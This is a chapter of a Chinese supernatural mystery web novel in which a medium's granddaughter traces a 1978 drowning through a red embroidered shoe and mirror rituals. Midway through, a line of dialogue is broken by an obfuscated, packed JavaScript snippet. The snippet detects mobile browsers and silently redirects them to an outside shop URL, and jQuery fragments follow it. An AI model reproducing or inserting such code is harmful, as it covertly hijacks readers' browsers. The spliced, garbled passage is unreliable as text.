早上九点，我顶着一对堪比熊猫的黑眼圈，站在本市最大的旧货市场门口。


    空气里混杂着尘土、旧木头和说不清的陈腐气味。


    （OS：很好，从一个充满霉味的仓库，到另一个充满未知霉味的地方。宋溪月，你的生活品质真是稳中有降。）


    我来找鞋。


    不是苏怀薇梦里那双（希望不是），而是想看看，有没有类似的、老式的红色绣花鞋，也许能看出点门道。


    毕竟，知己知彼，百战不……不被鬼吓死。


    ---


    （一）


    市场里人声鼎沸，摊主们吆喝着“清朝的碗！”“民国的梳妆匣！”，真假掺半，水分比昨天的台风还大。


    我沿着杂乱的摊位慢慢逛，眼睛扫过那些堆成山的旧物。瓷器、木雕、老书、破烂家具……就是没看到专门卖旧鞋的。


    正当我觉得这趟可能要白给时，角落一个不起眼的小摊吸引了我的注意。


    摊主是个干瘦的老头，戴着老花镜，正就着昏暗的灯光修补一个缺口的陶罐。他的摊位上东西很少，几件看不出年代的木雕，几个锈迹斑斑的金属物件，还有……一个敞开着的、同样旧兮兮的木盒子，里面似乎装着些零碎布料。


    我走过去，蹲下身。


    老头头也没抬：“自己看，不还价。”


    我应了一声，目光落在那木盒里。里面是一些褪色的刺绣小件，荷包、手帕、袜套什么的，做工粗糙，但能看出是旧物。


    没有鞋。


    我有点失望，正准备起身，老头忽然慢悠悠开口：“姑娘，找什么特别的？”


    我犹豫了一下：“老师傅，您这儿……有没有老式的绣花鞋？红色的那种。”


    老头手上的动作停了停，从老花镜上方瞥了我一眼，眼神有点浑浊，又有点说不清的锐利：“红色绣花鞋？那可是老时候出嫁闺女穿的喜物，也是……有些地方的丧物。你找它干嘛？”


    我心里一紧。（OS：丧物？）脸上尽量平静：“哦，有个民俗研究的朋友托我看看，做点资料收集。”


    “民俗研究？”老头扯了扯嘴角，像是笑了，又像是没笑，“研究到‘那边’去了？”


    这话里有话。


    “老师傅，您是不是知道点什么？”我试探着问。


    老头放下手里的陶罐和工具，擦了擦手，从身后的破麻袋里，摸索出一个用旧报纸包着的、长长的东西。


    他一层层揭开报纸。


    露出一双鞋。


    红色的绣花鞋。


    缎面，颜色暗沉发旧，不像苏怀薇梦里那么鲜艳，但款式……极其相似。鞋头绣的也是水鸟（或者鸳鸯），针脚细密，透着一股子年深日久的压抑感。


    我呼吸一滞，掌心的炙痕微微发热。


    “这……这鞋哪来的？”我问，声音有点干。


    “收来的。”老头含糊地说，“好些年前了，从南边乡下收来的。一直没人要，嫌晦气。”他看着我，“你要研究？便宜点给你。”


    “我能看看吗？”我伸出手。


    老头把鞋递过来。


    入手冰凉，沉甸甸的，不像普通布鞋的重量。我仔细翻看，鞋底磨损严重，但鞋面保存尚可。我下意识地捏了捏鞋帮，又摸了摸内衬……


    内衬的布料，似乎有点异常的硬度，像是里面垫了什么东西。


    我小心地翻开鞋口，借着昏暗的光线看向内衬。


    在内衬靠近脚后跟的位置，布料颜色略深，上面似乎有极其模糊的、浅色的绣线痕迹。


    我眯起眼睛，几乎把脸凑上去，才勉强辨认出那是两个绣得极小的字：


    “秀兰”。


    旁边，还有一行更小、更淡的数字：


    “1978.3.15”。


    赵秀兰！1978年3月15日！


    苏怀薇母亲的名字和日期！


    这双鞋……难道真是她母亲的遗物？怎么会流落到旧货市场？！


    老头看我脸色不对，问道：“怎么？这鞋有问题？”


    我强压住心惊肉跳，抬起头：“老师傅，这鞋……您是从南边具体哪个地方收来的？还记得吗？”


    老头皱起眉，努力回想：“太久了……好像是个叫‘清’什么的县……对了，清河县。那边以前老物件多，但邪性玩意儿也多，我们这行不太爱去。”


    又是清河县！


    “当时卖鞋给您的是什么人？”我追问。


    “一个老太婆，看着挺穷，眼神躲躲闪闪的，拿了鞋换了点粮食票就走了，话都没说几句。”老头摇摇头，“我看这鞋做工还行，就当收个旧货，没想到压箱底这么多年。”


    我捏着这双冰凉的绣花鞋，感觉像是捏着一块燃烧的炭。


    “这鞋……我要了。”我说，“多少钱？”


    老头报了个价，不算贵。我立刻付钱，用原来的旧报纸重新包好，像抱着个炸弹一样迅速离开了旧货市场。


    （二）


    回到书店，我把门反锁，拉上窗帘，在柜台灯下再次仔细查看这双鞋。


    “秀兰”，“1978.3.15”。


    日期很具体。是赵秀兰的生日？还是……她的忌日？


    苏怀薇说她母亲是病逝，但具体时间她也不清楚，只知道很早。


    如果1978年3月15日是忌日，那赵秀兰去世时还很年轻。


    而“河漂子，第三位”……是不是意味着，在1978年3月15日，赵秀兰成了“水”的第三个受害者？


    那前两位是谁？春枝和秋燕？她们的日期呢？


    姥姥日记里只有名字和模糊的“水”、“闭”标记，没有具体日期。


    这双鞋的出现，把模糊的悲剧，钉上了一个具体的时间刻度。


    更让我不安的是，这双鞋辗转多年，竟然就这么“恰好”被我找到了？是姥姥说的“线”在牵引，还是……有什么东西，想让我看到这个？


    我把鞋小心收进一个纸盒，塞到柜台下面。掌心的炙痕还在微微发热，提醒我这一切不是幻觉。


    下午，书店门被推开，风铃响了——这次修好了。


    进来的是楚遥。


    她换了便服，牛仔裤，白T恤，外面套了件黑色皮夹克，短发利落，手里拎着两杯咖啡。脸上带着惯常的、有点懒散又有点锐气的表情。


    “哟，宋老板，大白天拉什么窗帘？搞非法经营呢？”她把一杯咖啡顿在我面前，自己拉开椅子坐下，长腿一伸。


    （OS：救星来了！科学的光，唯物主义的光！）


    “你怎么来了？局里不忙？”我接过咖啡，是我常喝的美式，没加糖。


    “刚出完一个现场，路过，看看你死了没。”楚遥喝了一口自己的拿铁，打量我，“脸色这么差，昨晚做贼去了？还是书店又赔了？”


    “比做贼刺激。”我压低声音，把昨晚苏怀薇的事、铜镜里的画面、水痕字迹，以及今天找到绣花鞋和上面绣字的事，快速跟她讲了一遍。


    楚遥的表情，从漫不经心，到微微皱眉，再到彻底严肃。


    她放下咖啡杯：“鞋呢？我看看。”


    我把鞋盒拿出来。


    楚遥戴上随身带的橡胶手套（法医的职业习惯），拿起鞋，仔细查看，特别是内衬的绣字和日期。


    “1978年3月15日……”她沉吟，“这个日期很具体。如果真是赵秀兰的遗物，或许能通过户籍系统查一下。不过年代太久，又是小地方，不一定有电子记录。”


    “能查到她具体的死亡信息吗？”我问。


    “难。非正常死亡或失踪的，如果当时没立案或者立案后销案了，记录可能更混乱。”楚遥看着我，“宋溪月，你确定你要掺和进这种事？听起来可不是简单的‘驱邪’，可能牵扯到陈年旧案，甚至……命案。”


    “我也不想啊！”我抓了抓头发，“但你觉得我现在撒手，那双梦里的鞋会放过苏怀薇？那个‘第三位’的水痕字迹是跟我闹着玩呢？我掌心这玩意儿……”我伸出手给她看那道淡痕，“它都烫了！报警了！”


    楚遥盯着我掌心，眼神复杂。她是我发小，知道我家这点破事，也一直对此嗤之以鼻。


    “所以，你打算怎么办？真给你姥姥当接班人，开坛做法？”她语气带着调侃，但眼神是认真的。


    “我不知道。”我颓然坐下，“但苏怀薇明晚还来，我得给她个交代。至少……再试试看能不能‘看’到更多。姥姥的日记里提到‘钥匙’……可能就在这些旧物里。”


    “需要我帮忙吗？”楚遥问，“以朋友身份。如果需要查什么档案或者信息，我可以试试。但提前说好，我依然认为这里面有人为装神弄鬼的可能性，而且不小。”


    “求之不得！”我立刻说，“有楚大法医坐镇，我底气都足点。”


    楚遥白了我一眼：“少拍马屁。对了，你昨晚‘看’到的画面里，那个按着赵秀兰头的男人，有什么特征吗？”


    我努力回忆：“很模糊……手很大，很粗糙，像干重活的。衣服……好像是深色的，旧式的中山装或者工装？别的……看不清。”


    楚遥点点头，没再说什么，但我知道她记下了。


    我们又聊了几句，她局里有事先走了。临走前，她回头对我说：“宋溪月，小心点。如果感觉不对劲，立刻打电话给我。还有……你姥姥那些东西，别乱用。”


    我看着她离开的背影，心里稍微踏实了一点。


    至少，我不是完全一个人。


    （三）


    楚遥走后，书店恢复了安静。


    我坐在柜台后，看着窗外渐暗的天色，思绪飘回了很久以前。


    关于姥姥的记忆，其实并不多。她大部分时间沉默寡言，待在那个小房间里，摆弄她的那些“家伙事”。我妈去世早，我爸后来也离开了，我是姥姥带大的。


    但她从不让我碰那些东西，也不准我问。只反复叮嘱：“月月，好好读书，做个普通人。离这些远的、阴的东西远点。”


    有一次，我大概十岁左右，出于好奇，偷偷溜进她的小房间，想拿那个铜镜照照玩。刚碰到镜子，就被突然出现的姥姥一把抓住手腕。


    我从没见过她那么生气，那么……恐惧。


    她脸色煞白，嘴唇哆嗦着，夺过铜镜，厉声问我：“谁让你碰这个的？！”


    我吓哭了。


    她把我搂进怀里，身子还在发颤，声音却软下来，带着无尽的疲惫和悲伤：“月月，听话……这东西……碰了，就脏了手，脏了命……姥姥不想你走上这条路……”


    那是我记忆中，关于“问阴婆”身份最清晰的一次冲突。后来，直到她去世，我们都默契地不再提起。


    现在，我不仅碰了，还可能要“用”了。


    姥姥，您会在天上看着我吗？会失望，还是……无奈？


    傍晚，苏怀薇又发来微信，语气比昨天更惊慌：“宋老师，我下午在家整理旧物，找到了我妈留下的一本老相册。里面有一张她年轻时在老家河边拍的照片……背景里，远处河滩上，好像就有那个戏台的轮廓！虽然很模糊，但我越看越像！”


    她还发来了那张照片的翻拍。


    黑白照片，边缘泛黄。年轻的赵秀兰站在河边，笑容青涩。在她身后远处，河对岸的景物模糊成一团，但仔细分辨，确实有一个类似高台建筑的影子，上面似乎有飞扬的檐角。


    戏台……


    梦里的戏台，真的存在过。


    我把照片放大，再放大。在戏台轮廓的更远处，依稀能看到一些黑点，像是……人影？


    心脏咚咚直跳。


    我把照片保存下来，回复苏怀薇：“照片很有用。明天晚上，我们可能需要尝试更深一点的‘问阴’。你做好心理准备，可能会看到更多……关于你母亲过去的片段。”


    苏怀薇很快回复：“我明白。只要能让这噩梦结束，我什么都愿意试。宋老师，拜托您了。”


    放下手机，我看向柜台下那个装着绣花鞋的纸盒，又看向小房间紧闭的门。


    钥匙……到底在哪里？


    姥姥，您给我指了路，却把钥匙藏了起来。


    是考验，还是……保护？


    （四）


    第二天一整天，我都有些心神不宁。


    我翻遍了姥姥留下的其他东西，那支素银簪子，那块绣着“盼归”的手帕，那个褪色的襁褓……每一样都透着陈旧的故事感，但我摸来摸去，除了偶尔一点冰凉的触感，没有更多发现。


    难道“钥匙”不是这些实物？


    还是说，需要特定的条件或方式才能“打开”？


    楚遥下午打来电话，背景音有点嘈杂：“宋溪月，我托档案室的朋友帮忙留意了一下。清河县1978年前后的非正常死亡记录，电子化的很少，而且权限很高。不过有个模糊的信息……”


    “什么？”我握紧手机。


    “1978年到1982年之间，清河县及周边乡镇，上报的年轻女性意外死亡或失踪案例，有七例。但后续处理记录非常简略，有的甚至没有家属追问的记录。上面好像有‘特别关注’的标记，要求‘妥善处理，维护稳定’。”楚遥的声音压低了，“这不太正常。”


    七例……和姥姥日记里那些名字，数量对得上吗？春枝，秋燕，梅芳，赵秀兰……还有三个？


    “死


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182823|196970||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亡原因呢？”我问。


    “记录很模糊，溺水、急病、意外居多。尸检报告和现场照片基本找不到。”楚遥顿了顿，“还有，你提到的吴茂源，我查了一下，当时确实是清河县的副镇长，分管民政、治安这些。2003年病逝。”


    “病逝？”


    “记录上是这样。但时间有点久，细节难查了。”楚遥说，“你这边今晚什么安排？需要我过去吗？”


    我想了想：“暂时不用。你先忙你的。有需要我给你打电话。”


    “行，自己小心。记住，有任何不对劲，立刻停止，报警。”


    挂了电话，我看着窗外渐浓的夜色。


    七位女性。特别关注。妥善处理。吴茂源。


    这些碎片化的信息，拼凑出一幅令人不寒而栗的图景。


    晚上，苏怀薇准时到来。她看起来更加憔悴，眼下的乌青连粉底都盖不住。


    “宋老师，我昨晚……几乎没睡。”她声音沙哑，“一闭眼就是河，雾，还有……好多看不清脸的人影在岸边走。”


    我点点头，没多说什么，把她带进小房间。


    今晚，我准备更充分一些。按照姥姥手札里一个更复杂的“溯源问阴”图示，重新布置了房间。换了另一种味道更沉静的香，在铜镜周围摆上了清水、白米、还有那支素银簪子——不知道为什么，我觉得它可能有用。


    “苏小姐，今晚我们可能需要触及更深层的东西。”我看着她，“过程可能会更……难受。如果你中途受不了，立刻喊停。”


    苏怀薇坚定地点点头：“我能坚持。”


    和昨晚一样的步骤。她的血滴在铜镜上，我们双手交叠。


    我闭上眼睛，凝神静气，不再是被动接收，而是主动将意念沿着掌心的炙痕，探向铜镜，探向那滴血所连接的、关于赵秀兰的过往。


    炙痕滚烫。


    画面再次涌来，但比昨晚更清晰，更连贯——


    年轻的赵秀兰在河边洗衣，哼着歌。


    几个男人的身影从树林后走出来，围住了她。


    拉扯，挣扎，她惊恐的脸。


    被拖向河边更深处的芦苇荡……


    其中一个男人的脸，在扭打中侧过来一瞬——方脸，浓眉，嘴角有一颗黑痣！眼神凶狠！


    然后是被死死按入水中的窒息，挣扎的手拍打水面，气泡上涌……


    最后，是她的身体像一段失去生命的木头，在昏暗的河水中缓缓下沉……远处，那个破败的戏台轮廓，静静地立在暮色中。


    画面戛然而止。


    我猛地抽回手，剧烈咳嗽起来，仿佛自己也呛了水。苏怀薇更是直接瘫软在椅子上，面无血色，眼泪无声地流。


    “我……我看到……”她语无伦次，“那个男人……脸……”


    “你也看到了？”我喘着气问。


    她用力点头，满脸恐惧：“是他……是他害了我妈！”


    就在这时，摆在铜镜旁的那支素银簪子，突然自己轻轻震动了一下，发出极其微弱的、仿佛金属低鸣的“嗡”声。


    紧接着，铜镜的镜面，并没有凝结水痕，而是映照出了新的影像！


    不是赵秀兰的记忆。


    是……另一段陌生的场景：


    一个昏暗的、像祠堂的房间，一个穿着旧式碎花上衣的年轻女孩（不是赵秀兰），被绑在柱子上，嘴里塞着布，满脸泪痕，惊恐地看着面前几个模糊的男人身影。其中一个男人手里，似乎拿着什么东西……


    画面一闪而过。


    镜面恢复原状。


    我和苏怀薇都愣住了。


    “刚才……那是谁？”苏怀薇颤声问。


    我看向那支停止震动的素银簪子。


    它刚才，似乎被赵秀兰强烈的死亡记忆激发，连通了另一个受害者的片段？


    这支簪子，属于“第二位”？还是“第一位”？


    姥姥留下的这些旧物，果然不仅仅是遗物，它们是……通往其他受害者记忆的“钥匙”或者“触发器”？


    这个发现让我既震撼又恐惧。


    “苏小姐，”我稳定了一下心神，“我们可能……触及到更庞大的东西了。你母亲，不是唯一的一个。”


    苏怀薇捂住嘴，眼泪再次涌出。


    我拿起那支冰凉簪子，感受着它残留的、细微的波动。


    钥匙……难道就是这些“她们”的遗物本身？


    用这些遗物，配合问阴婆的血脉和仪式，就能打开一扇扇通往过去惨剧的门？


    那集齐所有“钥匙”，是不是就能看到完整的真相？


    而“流水簿”上“第三位”的名号……是否意味着，苏怀薇母亲的“钥匙”（绣花鞋）被激活后，下一个受害者的“钥匙”（比如这支簪子），就会开始显现它的力量？


    仿佛是为了印证我的猜想，掌心的炙痕，再次传来明确的灼热感，这次，热流隐隐指向了那个褪色的襁褓。


    （OS：所以……下一个要来的，是和“婴儿”有关的“第一位”？）


    我看向惊魂未定的苏怀薇，知道今晚不能再继续了。


    “苏小姐，今晚先到这里。你回去好好休息，什么都别想。有进展我再联系你。”


    送走几乎虚脱的苏怀薇，我独自回到小房间，看着铜镜、簪子、襁褓，还有那本日记。


    线索越来越多，拼图正在一块块浮现。


    但危险的感觉，也越来越清晰。


    我触碰的，不仅仅是个体的冤屈，而是一个被深埋的、系统的罪恶。


    而我，好像已经没办法回头了。


    ---


    深夜，书店打烊许久。


    我睡不着，坐在柜台后整理思绪，把今天的发现草草记在本子上。


    就在我准备关灯上楼休息时，书店临街的玻璃窗上，忽然传来“嗒”的一声轻响。


    像是有什么小东西打在了玻璃上。


    我抬头看去。


    窗外昏暗的路灯下，空无一人。


    但玻璃窗上，正对着我坐的位置，贴着一张小小的、方形的黄色纸片。


    又是一张符纸？


    和之前出现在苏怀薇床头的那种一样？


    我浑身汗毛倒竖，猛地站起来，冲到门边，却不敢立刻开门。


    透过门缝往外看，街道寂静。


    那张符纸，在玻璃上贴得稳稳的。


    在路灯惨白的光线下，符纸中央那个水波图案，幽幽地反射着光。


    下面，似乎有字迹正在慢慢渗出来，变成暗红色：


    `“多管闲事。”`


    `“警告一次。”`


    `“——清理者”`